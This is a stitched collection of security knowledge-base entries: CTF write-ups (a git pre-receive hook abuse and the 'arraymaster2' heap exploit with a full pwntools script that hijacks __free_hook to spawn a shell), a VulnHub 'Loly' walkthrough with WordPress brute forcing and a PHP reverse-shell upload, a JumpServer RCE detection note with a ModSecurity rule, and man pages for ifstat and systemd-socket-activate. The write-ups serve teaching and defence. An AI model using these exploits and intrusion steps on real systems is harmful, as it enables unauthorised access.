[5] [V] #5 passed! (* ^ ω ^) remote: [6] [-] Locating build script in .build/build.sh... remote: [6] [X] .build/build.sh not found! remote: [6] [X] (╮°-°)╮┳━━┳ ( ╯°□°)╯ ┻━━┻ To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] aghastness-subhead-cyrtometer -> aghastness-subhead-cyrtometer (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` We can see the hook moving the flag to the temporary folder: ``` remote: '/flag.txt' -> '/tmp/tmp.phLMEtUoUd/flag.txt' remote: changed ownership of '/tmp/tmp.phLMEtUoUd/flag.txt' from flagger_the_second:flagger_the_second to build_system:build_system ``` Also, finally, we get to run some code. The hook wants to run `.build/build.sh`, so we'll give it just that: ```bash #!/bin/bash cat $(find /tmp -name "flag.txt" 2>/dev/null) ``` We push: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git add .build/build.sh root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git commit -m "Build.sh" --date="$(date --utc +%Y-%m-%dT%H:%M:%S-1200)" [aghastness-subhead-cyrtometer acfc5f8] Build.sh Date: Mon Oct 26 22:18:33 2020 -1200 1 file changed, 3 insertions(+) create mode 100644 .build/build.sh root@kali:/media/sf_CTFs/appsec/come-and-git-it-2/ctf-repo# git push Enumerating objects: 18, done. Counting objects: 100% (18/18), done. Compressing objects: 100% (12/12), done. Writing objects: 100% (16/16), 1.32 KiB | 25.00 KiB/s, done. Total 16 (delta 5), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: aghastness-subhead-cyrtometer remote: remote: Welcome to the awesome build system. remote: remote: -=- Legend -=- remote: [BUILD STEP] [STATUS] {message from build system} remote: [n] [-] Step n is 'in progress'. remote: [n] [V] Step n passed, will continue to next step. remote: [n] [X] Step n failed, will exit the build. remote: remote: [0] [-] Initializing build system... remote: [0] [V] Build system initialized. remote: [0] [V] #0 passed! (* ^ ω ^) remote: [1] [-] Checking authorization by name... remote: [1] [-] Found name: Johnny Cash remote: [1] [V] Authorization by name passed. remote: [1] [V] #1 passed! (* ^ ω ^) remote: [2] [-] Checking authorization by email... remote: [2] [-] Found email: johnnycash@build.system remote: [2] [V] Authorization by email passed. remote: [2] [V] #2 passed! (* ^ ω ^) remote: [3] [-] Checking authorized geolocation... remote: [3] [-] Found timezone: -1200 remote: [3] [V] Authorization by timezone passed. remote: [3] [V] #3 passed! (* ^ ω ^) remote: [4] [-] Creating temporary build directory for build resources... remote: [4] [V] Created temporary directory for build resources in /tmp/tmp.pAWhFXQWxR which can be accessed via an environment variable. remote: [4] [V] #4 passed! (* ^ ω ^) remote: [5] [-] Copying build resources to temporary build directory... remote: '/flag.txt' -> '/tmp/tmp.pAWhFXQWxR/flag.txt' remote: changed ownership of '/tmp/tmp.pAWhFXQWxR/flag.txt' from flagger_the_second:flagger_the_second to build_system:build_system remote: [5] [V] Copied and chmod-ed build resources. remote: [5] [V] #5 passed! (* ^ ω ^) remote: [6] [-] Locating build script in .build/build.sh... remote: [6] [V] Build script located! remote: [6] [V] #6 passed! (* ^ ω ^) remote: [7] [-] Giving .build directory exec permissions... remote: mode of '.build' changed from 0755 (rwxr-xr-x) to 0777 (rwxrwxrwx) remote: mode of '.build/AUTHORS.md' changed from 0644 (rw-r--r--) to 0777 (rwxrwxrwx) remote: mode of '.build/build.sh' changed from 0644 (rw-r--r--) to 0777 (rwxrwxrwx) remote: [7] [V] .build directory chmod-ed remote: [7] [V] #7 passed! (* ^ ω ^) remote: [8] [-] Running '.build/build.sh' using 'bash' as user 'build_system' remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: "AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}" remote: [8] [V] Done running build script. remote: [8] [V] #8 passed! (* ^ ω ^) remote: [9] [-] Deleting temporary build directory... remote: removed '/tmp/tmp.pAWhFXQWxR/flag.txt' remote: removed directory '/tmp/tmp.pAWhFXQWxR' remote: [9] [V] Deleted temporary build directory. remote: [9] [V] #9 passed! (* ^ ω ^) remote: [10] [-] Deploying output to @build.system cloud... remote: [10] [X] @build.system cloud doesn't exist yet. Exiting build. remote: [10] [X] (╮°-°)╮┳━━┳ ( ╯°□°)╯ ┻━━┻ To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] aghastness-subhead-cyrtometer -> aghastness-subhead-cyrtometer (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` The flag: `AppSec-IL{1f_y0u_w4n7_17_c0m3_4nd_917_17}`
sec-knowleage
ifstat === 统计网络接口流量状态 ## 补充说明 **ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。 ### 下载 ```shell http://gael.roualland.free.fr/ifstat/ (官网) wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz ``` ### 编译安装 ```shell tar -zxvf ifstat-1.1.tar.gz cd ifstat-1.1 ./configure make make install # 默认会安装到/usr/local/bin/目录中 ``` 注释:执行`which ifstat`输出`/usr/local/bin/ifstat` ### 选项 ```shell -l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。 -a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...) -z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的 -i 指定要监测的接口,后面跟网络接口名 -s 等于加-d snmp:[comm@][#]host[/nn]] 参数,通过SNMP查询一个远程主机 -h 显示简短的帮助信息 -n 关闭显示周期性出现的头部信息(也就是说,不加-n参数运行ifstat时最顶部会出现网络接口的名称,当一屏显示不下时,会再一次出现接口的名称,提示我们显示的流量信息具体是哪个网络接口的。加上-n参数把周期性的显示接口名称关闭,只显示一次) -t 在每一行的开头加一个时间 戳(能告诉我们具体的时间) -T 报告所有监测接口的全部带宽(最后一列有个total,显示所有的接口的in流量和所有接口的out流量,简单的把所有接口的in流量相加,out流量相 加) -w 用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽 -W 如果内容比终端窗口的宽度还要宽就自动换行 -S 在同一行保持状态更新(不滚动不换行)注:如果不喜欢屏幕滚动则此项非常方便,与bmon的显示方式类似 -b 用kbits/s显示带宽而不是kbytes/s -q 安静模式,警告信息不出现 -v 显示版本信息 -d 指定一个驱动来收集状态信息 ``` ### 实例 默认使用 ```shell [root@localhost ifstat-1.1] #ifstat eth0 eth1 KB/s in KB/s out KB/s in KB/s out 0.07 0.20 0.00 0.00 0.07 0.15 0.58 0.00 ``` 默认ifstat不监控回环接口,显示的流量单位是KB。 ```shell [root@localhost ifstat-1.1]# ifstat -tT time eth0 eth1 eth2 eth3 Total HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out 16:53:04 0.84 0.62 1256.27 1173.05 0.12 0.18 0.00 0.00 1257.22 1173.86 16:53:05 0.57 0.40 0.57 0.76 0.00 0.00 0.00 0.00 1.14 1.17 16:53:06 1.58 0.71 0.42 0.78 0.00 0.00 0.00 0.00 2.01 1.48 16:53:07 0.57 0.40 1.91 2.61 0.00 0.00 0.00 0.00 2.48 3.01 16:53:08 0.73 0.40 924.02 1248.91 0.00 0.00 0.00 0.00 924.76 1249.31 ``` 监控所有网络接口 ```shell [root@localhost ifstat-1.1] # ifstat -a lo eth0 eth1 KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out 0.00 0.00 0.28 0.58 0.06 0.06 0.00 0.00 1.41 1.13 0.00 0.00 0.61 0.61 0.26 0.23 0.00 0.00 ```
sec-knowleage
# arraymaster2 PWN ## Description: > We improved our security with more mitigations. A binary file and a libc file were attached. ## Solution: This challenge is similar to [arraymaster1](arraymaster1.md), but `spawn_shell` was removed and several runtime protections were activated: ```console root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# checksec.sh -f ./arraymaster2 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 89 Symbols Yes 2 4 ./arraymaster2 root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# checksec.sh -f ../arraymaster1/arraymaster1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 89 Symbols Yes 2 4 ../arraymaster1/arraymaster1 ``` The basic vulnerability still exists, meaning we can allocate a buffer of type 64, size (0xFFFFFFFFFFFFFFFF+1)/8 and cause the program to call `malloc(0)` - allowing us to use one buffer to access the contents of another buffer. However, this time we will have to work a bit harder to spawn a shell. First, we have PIE enabled (Position-Independent Executable), so we first need to calculate the binary base address by subtracting the runtime address of a function from the compile-time address: ```python int64_set_runtime_address = get_entry(p, "A", 8) e.address = int64_set_runtime_address - e.symbols["int64_set"] ``` To get the base address of LibC, we do the same with a LibC function: ```python set_entry(p, "A", 6, e.got["free"]) free_runtime_address = get_entry(p, "B", 0) libc.address = free_runtime_address - libc.symbols["free"] assert(libc.address & 0xFFF == 0) ``` Now, the first thing I tried in order to spawn a shell was to override the address of `int64_set` with an address from one_gadget: ```python set_entry(p, "A", 8, get_one_gadget(libc.address, args.remote) ) set_entry(p, "B", 0, 0) ``` This worked locally but not on the server, probably due to the different constraints posed by the different versions of LibC: ```console root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4345e execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x434b2 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xe42ee execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL ``` So, the next thing I tried to do was override a GOT entry with `system`, however this failed since the Full RELRO is enabled: > Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run. ([Source](https://ctf101.org/binary-exploitation/relocation-read-only/)) The last resort was to override `__free_hook`: > The value of this variable is a pointer to function that free uses whenever it is called. ([Source](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html)) It can be modified using the following logic: ```python set_entry(p, "A", 6, libc.symbols["__free_hook"]) set_entry(p, "B", 0, libc.symbols["system"]) ``` The first line makes B's `arr_ptr` point to `__free_hook`, and the second one performs `*(arr_ptr + 0) = &system`. So the next time someone calls `free` on some pointer, LibC will call `__free_hook` which points to `system` and `system` will execute whatever the freed buffer points to. I chose to provide the following line as an input command: ``` quit; /bin/sh ``` The relevant logic related to this command handling is: ```assembly ; "quit" lea r13, str.quit ... ; 0xe93 [gc] ; 0x13e0 ; "\nEnter the command you want to execute. [...]" lea rsi, str.Enter_the_command mov edi, 1 mov eax, 0 call sym.imp.__printf_chk;[gq] lea rdi, [command] ; [0x202030:8]=0 mov rdx, qword [obj.stdin__GLIBC_2.2.5] mov rsi, rbx call sym.imp.getline;[gt] cmp rax, 0xffffffffffffffff je 0xfbb;[gu] ... ; 0xf42 [gAa] mov ecx, 4 ; [0x8:8]=0 mov rsi, qword [command] mov rdi, r13 repe cmpsb byte [rsi], byte ptr [rdi] seta al sbb al, 0 test al, al je 0xfbb;[gu] ... ; 0xfbb [gu] ; [0x8:8]=0 mov rdi, qword [command] ; void free(void *ptr) call sym.imp.free;[gAh] mov eax, 0 ; [0x38:8]=0x1c001d00400009 ; '8' mov rbx, qword [local_38h] xor rbx, qword fs:[0x28] jne 0xfe5;[gAi] ``` As you can see, the `command` buffer allocated by `getline` is freed when the program receives the `quit` command. In our case, the buffer will contain `quit; /bin/sh`, causing the program to quit and then calling `free` (i.e. `system`) on the pointer. `system` won't understand what `quit` means, but it will give us a shell due to `/bin/sh`. Putting it all together: ```python from pwn import * import argparse # context.log_level = "debug" LOCAL_PATH = "./arraymaster2" def get_process(is_remote = False): if is_remote: return remote("35.207.132.47", 22229) else: return process(LOCAL_PATH) def get_libc_path(is_remote = False): if is_remote: return "./libc-2.27.so" else: return "/lib/x86_64-linux-gnu/libc.so.6" def get_one_gadget(libc_base, is_remote = False): if is_remote: return libc_base + [0x4f2c5, 0x4f322, 0x10a38c][2] else: return libc_base + 0x434b2 def read_menu(proc): proc.recvuntil("\n> ") def print_list(proc): read_menu(proc) proc.sendline("list") return proc.recvuntil("\nEnter the command you want to execute.", drop = True) def init(proc, arr_id, arr_type, arr_length): read_menu(proc) proc.sendline("init {} {} {}".format(arr_id, arr_type, arr_length)) log.info("Initializing array '{}' (Type: int{}, Length: {})".format(arr_id, arr_type, arr_length)) def delete(proc, arr_id): read_menu(proc) proc.sendline("delete {}".format(arr_id)) log.info("Deleting array '{}'".format(arr_id)) def set_entry(proc, arr_id, arr_index, value): read_menu(proc) proc.sendline("set {} {} {}".format(arr_id, arr_index, value)) log.info("Setting index #{} of array '{}' to value '{}' ({})".format(arr_index, arr_id, value, hex(value))) def get_entry(proc, arr_id, arr_index): read_menu(proc) proc.sendline("get {} {}".format(arr_id, arr_index)) out = int(proc.recvline(keepends = False)) log.info("Index #{} of array '{}' has value '{}' ({})".format(arr_index, arr_id, out, hex(out))) return out def quit(proc): read_menu(proc) proc.sendline("quit") log.info("Quitting...") parser = argparse.ArgumentParser() parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true") args = parser.parse_args() e = ELF(LOCAL_PATH) libc = ELF(get_libc_path(args.remote)) p = get_process(args.remote) init(p, "A", 64, (0xFFFFFFFFFFFFFFFF+1)/8) init(p, "B", 64, 1) # Entries 0, 1, 2, 3 are malloc metadata assert(get_entry(p, "A", 4) == 1) assert(get_entry(p, "A", 5) == 64) original_arr = get_entry(p, "A", 6) int64_get_runtime_address = get_entry(p, "A", 7) int64_set_runtime_address = get_entry(p, "A", 8) assert(int64_set_runtime_address - int64_get_runtime_address == e.symbols["int64_set"] - e.symbols["int64_get"]) e.address = int64_set_runtime_address - e.symbols["int64_set"] set_entry(p, "A", 6, e.got["free"]) free_runtime_address = get_entry(p, "B", 0) libc.address = free_runtime_address - libc.symbols["free"] assert(libc.address & 0xFFF == 0) """ Worked locally but not on the remote server: set_entry(p, "A", 8, get_one_gadget(libc.address, args.remote) ) set_entry(p, "B", 0, 0) """ set_entry(p, "A", 6, libc.symbols["__free_hook"]) set_entry(p, "B", 0, libc.symbols["system"]) #p.sendline("quit; cat flag.txt") p.sendline("quit; /bin/sh") p.interactive() ``` The output: ```console root@kali:/media/sf_CTFs/35c3ctf/arraymaster2# python exploit.py -r [*] '/media/sf_CTFs/35c3ctf/arraymaster2/arraymaster2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled [*] '/media/sf_CTFs/35c3ctf/arraymaster2/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 35.207.132.47 on port 22229: Done [*] Initializing array 'A' (Type: int64, Length: 2305843009213693952) [*] Initializing array 'B' (Type: int64, Length: 1) [*] Index #4 of array 'A' has value '1' (0x1) [*] Index #5 of array 'A' has value '64' (0x40) [*] Index #6 of array 'A' has value '94565656191856' (0x5601c8586370) [*] Index #7 of array 'A' has value '94565652265608' (0x5601c81c7a88) [*] Index #8 of array 'A' has value '94565652265671' (0x5601c81c7ac7) [*] Setting index #6 of array 'A' to value '94565654368120' (0x5601c83c8f78) [*] Index #0 of array 'B' has value '140440834664784' (0x7fbaee0fe950) [*] Setting index #6 of array 'A' to value '140440838162664' (0x7fbaee4548e8) [*] Setting index #0 of array 'B' to value '140440834368576' (0x7fbaee0b6440) [*] Switching to interactive mode Enter the command you want to execute. [1] list [2] init <ID> <type> <l> [3] delete <ID> [4] set <ID> <i> <value> [5] get <ID> <i> [6] quit > sh: 1: quit: not found $ ls arraymaster2 bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ cat flag.txt 35C3_b0dfdda5705de55960fdb114ca209773da135ef7 $ exit [*] Got EOF while reading in interactive $ $ $ [*] Closed connection to 35.207.132.47 port 22229 [*] Got EOF while sending in interactive ``` The flag: 35C3_b0dfdda5705de55960fdb114ca209773da135ef7
sec-knowleage
# Loly > https://download.vulnhub.com/loly/Loly.ova 靶场IP:`192.168.2.136` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p1-65535 -sV 192.168.2.136 Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-06 09:55 EDT Nmap scan report for 192.168.2.136 Host is up (0.00058s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.3 (Ubuntu) MAC Address: 00:0C:29:24:CB:0B (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.22 seconds ``` 浏览器访问80端口 ![image-20220906215926885](../../.gitbook/assets/image-20220906215926885-1675839900867831.png) 爆破web目录 ![image-20220906220003026](../../.gitbook/assets/image-20220906220003026-1675839900868833.png) 需要配置本地hosts ![image-20220906220031942](../../.gitbook/assets/image-20220906220031942-1675839900867832.png) ![image-20220906220122590](../../.gitbook/assets/image-20220906220122590-1675839900868835.png) 枚举wordpress用户 ``` wpscan --url http://loly.lc/wordpress --enumerate u [i] User(s) Identified: [+] loly | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) ``` 爆破密码 ``` wpscan --url http://loly.lc/wordpress --usernames loly --passwords /usr/share/wordlists/rockyou.txt ``` ``` [+] Performing password attack on Xmlrpc against 1 user/s [SUCCESS] - loly / fernando Trying loly / corazon Time: 00:00:01 < ``` 我看到我们安装了一个名为"AdRotate"的插件,我们可以在其中上传 zip 文件。 ``` http://loly.lc/wordpress/wp-admin/admin.php?page=adrotate-media ``` ![image-20220906220850297](../../.gitbook/assets/image-20220906220850297-1675839900868834.png) ``` ┌──(root💀kali)-[/tmp] └─# zip shell.zip php-reverse-shell.php adding: php-reverse-shell.php (deflated 59%) ``` ![image-20220906221157615](../../.gitbook/assets/image-20220906221157615-1675839900868836.png) 访问反弹shell ``` http://loly.lc/wordpress/wp-content/banners/shell.php ``` ``` $ python3 -c "import pty;pty.spawn('/bin/bash')"; ``` 查看`wp-config.php`配置文件 ``` www-data@ubuntu:~/html/wordpress$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wordpress' ); /** MySQL database password */ define( 'DB_PASSWORD', 'lolyisabeautifulgirl' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); ``` 切换到loly用户 ``` www-data@ubuntu:~/html/wordpress$ su loly su loly Password: lolyisabeautifulgirl loly@ubuntu:/var/www/html/wordpress$ sudo -l sudo -l [sudo] password for loly: lolyisabeautifulgirl Sorry, user loly may not run sudo on ubuntu. ``` 使用CVE-2017-16995进行提权。
sec-knowleage
# T1190-JumpServer v2.6.1 RCE攻击检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## JumpServer v2.6.1 RCE(远程代码执行) JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机. 2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。 ### 影响版本 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9 ### 测试案例 请参考: JumpServer v2.6.1 RCE(远程代码执行) 复现总结 <https://www.cnblogs.com/w0x68y/p/14340249.html> Jumpserver-RCE复现及告警规则 <https://www.freebuf.com/vuls/261199.html> ### 检测日志 访问日志 ### 测试复现 请参考: JumpServer v2.6.1 RCE(远程代码执行) 复现总结 <https://www.cnblogs.com/w0x68y/p/14340249.html> ### 测试留痕 暂无 ### 检测规则/思路 modsecurity判定规则 在这种场景下,基本上看到这个uri请求我们就可以断言这是一个报警,因此编写规则如下: SecRule REQUEST_URI "/ws/ops/tasks/log" "id:11111111,phase:1,id:52,t:none,t:urlDecode,t:lowercase,t:normalizePath,msg:'jump-rce'" ## 备注 本文内容多数摘自互联网网络,未经过本人实际环境测试,慎重上线使用。 ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> JumpServer v2.6.1 RCE(远程代码执行) 复现总结 <https://www.cnblogs.com/w0x68y/p/14340249.html> Jumpserver-RCE复现及告警规则 <https://www.freebuf.com/vuls/261199.html>
sec-knowleage
'\" t .TH "SYSTEMD\-SOCKET\-ACTIVATE" "1" "" "systemd 231" "systemd-socket-activate" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-socket-activate \- 测试基于套接字启动的守护进程 .SH "SYNOPSIS" .HP \w'\fBsystemd\-socket\-activate\fR\ 'u \fBsystemd\-socket\-activate\fR [OPTIONS...] \fIdaemon\fR [OPTIONS...] .SH "描述" .PP \fBsystemd\-socket\-activate\fR 用于测试启动基于套接字启动的服务进程。 还可用于针对单个连接启动单独的服务进程实例。 .PP 可以通过 \fIdaemon\fR 之后的 [OPTIONS...] 给要启动的服务进程传递命令行选项。 .PP 如果使用了 \fB\-\-inetd\fR 选项,那么 socket 文件描述符将被用作被调用进程的标准输入与标准输出。 否则,将继承现有的标准输入与标准输出,而 socket 将被作为3号或更高的文件描述符。 通过 \fI$LISTEN_FDS\fR 传递给 \fBsystemd\-socket\-activate\fR 的 socket 将会被直接传递给被调用的进程, 通过 \fB\-\-listen=\fR 指定的其他 socket 将会使用连续描述符(consecutive descriptor)。 \fBsystemd\-socket\-activate\fR 默认在流式套接字(stream socket)上监听, 但是可以使用 \fB\-\-datagram\fR 选项改为在数据报套接字(datagram socket)上监听, 或者使用 \fB\-\-seqpacket\fR 选项改为在顺序包套接字(sequential packet socket)上监听。 .SH "选项" .PP \fB\-l \fR\fB\fIaddress\fR\fR, \fB\-\-listen=\fR\fB\fIaddress\fR\fR .RS 4 在指定的 \fIaddress\fR 上监听。 接受一个类似 "2000"(端口) 或 "127\&.0\&.0\&.1:2001"(地址:端口) 这样的字符串。 .RE .PP \fB\-a\fR, \fB\-\-accept\fR .RS 4 为每个连接启动一个服务进程实例,并传递连接套接字。 .RE .PP \fB\-d\fR, \fB\-\-datagram\fR .RS 4 在数据报套接字(\fBSOCK_DGRAM\fR)上监听,而不是默认的流式套接字(\fBSOCK_STREAM\fR)。 不能与 \fB\-\-seqpacket\fR 同时使用。 .RE .PP \fB\-\-seqpacket\fR .RS 4 在顺序包套接字(\fBSOCK_SEQPACKET\fR)上监听,而不是默认的流式套接字(\fBSOCK_STREAM\fR)。 不能与 \fB\-\-datagram\fR 同时使用。 .RE .PP \fB\-\-inetd\fR .RS 4 使用 inetd 协议传递文件描述符,也就是作为标准输入与标准输出, 而不是新式的使用 \fI$LISTEN_FDS\fR 变量来传递文件描述符。 .RE .PP \fB\-E \fR\fB\fIVAR\fR\fR\fB[=\fIVALUE\fR]\fR, \fB\-\-setenv=\fR\fB\fIVAR\fR\fR\fB[=\fIVALUE\fR]\fR .RS 4 向被调用的进程传递环境变量。 如果在 \fIVAR\fR 后面 紧跟着 "=" 符号, 那么会将其视为"变量=值"的结构。 否则表示将 \fBsystemd\-socket\-activate\fR 所拥有的同名变量传递过去。 .RE .PP \fB\-\-fdname=\fR\fINAME\fR[:\fINAME\fR\&.\&.\&.] .RS 4 指定要传递的文件描述符名称。 这等价于在单元文件中设置 \fIFileDescriptorName=\fR 并且启用 \fBsd_listen_fds_with_names\fR(3) 。 可以多次使用此选项以指定多个描述符,也可以在同一个选项中使用冒号分隔多个描述符。 如果给出的名字多于文件描述符的个数,那么多出的名字将会被忽略。 如果给出的名字少于文件描述符的个数,那么多出的文件描述符将被视为未命名的。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .SH "环境变量" .PP \fI$LISTEN_FDS\fR, \fI$LISTEN_PID\fR, \fI$LISTEN_FDNAMES\fR .RS 4 参见 \fBsd_listen_fds\fR(3) 手册。 .RE .PP \fI$SYSTEMD_LOG_TARGET\fR, \fI$SYSTEMD_LOG_LEVEL\fR, \fI$SYSTEMD_LOG_COLOR\fR, \fI$SYSTEMD_LOG_LOCATION\fR .RS 4 与 \fBsystemd\fR(1) 中的含义相同。 .RE .SH "例子" .PP \fBExample\ \&1.\ \&在 2000 端口上运行一个回显服务。\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-socket\-activate \-l 2000 \-\-inetd \-a cat .fi .if n \{\ .RE .\} .PP \fBExample\ \&2.\ \&运行一个基于套接字启动的 systemd-journal-gatewayd(8) 实例\fR .sp .if n \{\ .RS 4 .\} .nf $ systemd\-socket\-activate \-l 19531 /usr/lib/systemd/systemd\-journal\-gatewayd .fi .if n \{\ .RE .\} .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd.socket\fR(5), \fBsystemd.service\fR(5), \fBsd_listen_fds\fR(3), \fBsd_listen_fds_with_names\fR(3), \fBcat\fR(1) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
